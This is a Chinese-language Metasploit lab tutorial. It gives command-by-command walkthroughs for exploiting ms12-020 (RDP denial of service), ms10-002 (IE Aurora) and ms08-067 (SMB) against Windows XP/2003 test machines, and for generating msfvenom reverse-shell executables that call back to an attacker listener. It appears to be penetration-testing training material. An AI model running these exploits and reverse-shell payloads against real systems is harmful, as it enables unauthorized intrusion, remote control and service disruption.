一、數據庫配置
- 啓動postgresql數據庫服務:
/etc/init.d/postgresql start
su - postgres
- 創建數據庫用戶:
createuser 用戶名 -P
然後輸入密碼
- 創建數據庫:
createdb --owner=用戶名 數據庫名
- 啓動msf:
msfconsole
- msf連接數據庫:
db_connect 用戶名:密碼@127.0.0.1/數據庫名
- 查看數據庫連接狀態:
db_status
二、常用命令
-
查看幫助信息
help
-
搜索:
search 關鍵字
如搜索ipidseq進行ip掃描
-
選擇模塊:
use 模塊
如使用搜索到的模塊:
-
查看受影響的範圍:
show targets
-
查看需要設置的選項:
show options
Required中爲yes的需要我們手動設置,如果current setting即當我們不去設置需要我們手動設置的選項時他的默認參數。 -
設置選項:
set 選項 值
全局設置:setg 選項 值
取消某個選項的參數:unset 選項名
全局取消:unsetg 選項名
-
開始掃描:
run或者exploit
-
查看session列表:
session -l
-
進入到具體的session:
session -i 編號
-
掛起session:
background
三、常見漏洞進行復現
ms12-020
搜索關鍵字:search ms12-020
使用相應模塊:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
查看選項幫助:show options
設置攻擊對象ip:set rhost 192.168.10.134
開始攻擊:run
查看攻擊對象(windows server 2003)
當使用啓動項提權方法時,強迫受害者關機重啓可利用此方法
ms10-002
搜索編號關鍵字查找利用模塊search ms10-002
使用編號0的模塊進行利用use exploit/windows/browser/ms10_002_aurora
,查看需要設置的選項show options
設置本地ip地址(kali攻擊機)及端口(端口如果沒有佔用可以使用默認8080,此處使用8080)set srvhost 192.168.10.133
設置payload,set payload windows/meterpreter/reverse_tcp
查看payload需要設置的選項show options
設置本地主機ip,set lhost 192.168.10.133
開始攻擊run
,將msf生成的URL發送給受害者(windows xp),在IE瀏覽器打開
查看session列表:sessions -l
選擇剛剛建立的session:sessions -i 2
,彈出meterpreter後輸入shell,進入到受害者的shell
退出shell輸入exit,退出meterpreter將session掛起輸入background
ms08-067
攻擊機:kali linux
受害機:windows xp SP3(需關閉防護牆)
搜索漏洞利用模塊:search ms08-067
使用模塊:use exploit/windows/smb/ms08_067_netapi
設置payload:set payload windows/meterpreter/reverse_tcp
查看需要設置的選項:show options
設置受害者ip:set rhost 192.168.10.141
設置本地監聽ip:set lhost 192.168.10.133
可先通過show target
查看受影響的系統版本,然後選擇受害機對應的版本
設置目標的系統類型:set target Windows XP SP3 Chinese - Simplified (NX)
開始攻擊:run
反彈meterpreter後可輸入help
,使用screenshot
可對受害機進行截屏,使用run vnc
可進行監控
四、shellcode的生成
參考文章:https://blog.csdn.net/qk1992919/article/details/53782567
首先攻擊機在msf下需要使用exploit/multi/handler模塊:use exploit/multi/handler
在參考文章中生成shellcode,這裏我做兩個實驗windows下和linux下
windows:
參考命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
-
在kali下shell中輸入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.133 LPORT=1234 -f exe > shell.exe
lhost爲攻擊機(kali)本地ip,lport爲攻擊機監聽的端口
-
在msf首先使用監聽模塊,然後設置生成shellcode時的payload
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
-
設置payload選項(按照生成shellcode時所這是的監聽ip及端口進行設置)
set lhost 192.168.10.133
set lport 1234
-
開始監聽:
run
-
將生成的shell.exe放到受害機(windows xp)下打開,在kali查看反彈的meterpreter
成功反彈meterpreter
此時,在xp下,通過netstat -ano
可發現外聯到kali上,通過taskkill /PID shell.exe的pid -F
殺掉進程,查看kali處,發現session已經斷開
Linux:
參考命令:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
- 打開kali的shell生成linux下的shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.133 LPORT=1235 -f elf > shell.elf
- 給shell.elf賦予可執行權限
chmod 777 shell.elf
msf下使用監聽模塊並設置payload
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.10.133
set lport 1235
run
然後在本地執行(相當於自己再充當下受害方)
成功獲取到meterpreter